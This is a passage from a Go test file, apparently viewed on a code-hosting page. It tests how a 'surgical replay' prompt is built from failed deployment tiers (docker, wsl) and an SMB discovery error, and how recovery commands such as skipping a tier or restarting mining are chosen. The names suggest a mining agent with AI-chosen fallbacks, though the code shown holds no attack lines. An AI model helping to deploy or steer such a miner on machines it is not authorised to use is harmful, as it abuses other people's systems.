bundle.FailedError = "not installed"
|
||||
bundle.FailedAttempts = []TierAttempt{{Tier: "docker", OK: false, Error: "not installed"}}
|
||||
_, user := BuildSurgicalReplayPrompt(bundle)
|
||||
if !strings.Contains(user, "docker") {
|
||||
t.Fatalf("missing failed tier in prompt: %s", user)
|
||||
}
|
||||
if !strings.Contains(user, "trace-123") {
|
||||
t.Fatalf("missing session id in prompt: %s", user)
|
||||
}
|
||||
if !strings.Contains(user, "no smb") {
|
||||
t.Fatalf("missing discover error in prompt: %s", user)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectSurgicalCommandPicksFirstActionable(t *testing.T) {
|
||||
cmd, ok := SelectSurgicalCommand([]Command{
|
||||
{Type: CmdNoop},
|
||||
{Type: CmdSkipTier, Args: map[string]interface{}{"tier": "docker"}},
|
||||
{Type: CmdRestartMining},
|
||||
})
|
||||
if !ok || cmd.Type != CmdSkipTier {
|
||||
t.Fatalf("got %+v ok=%v", cmd, ok)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExpandSurgicalCommandSkipTier(t *testing.T) {
|
||||
out := ExpandSurgicalCommand(Command{Type: CmdSkipTier, Args: map[string]interface{}{"tier": "wsl"}})
|
||||
if len(out) != 1 || out[0].Type != CmdReorderTiers {
|
||||
t.Fatalf("got %+v", out)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user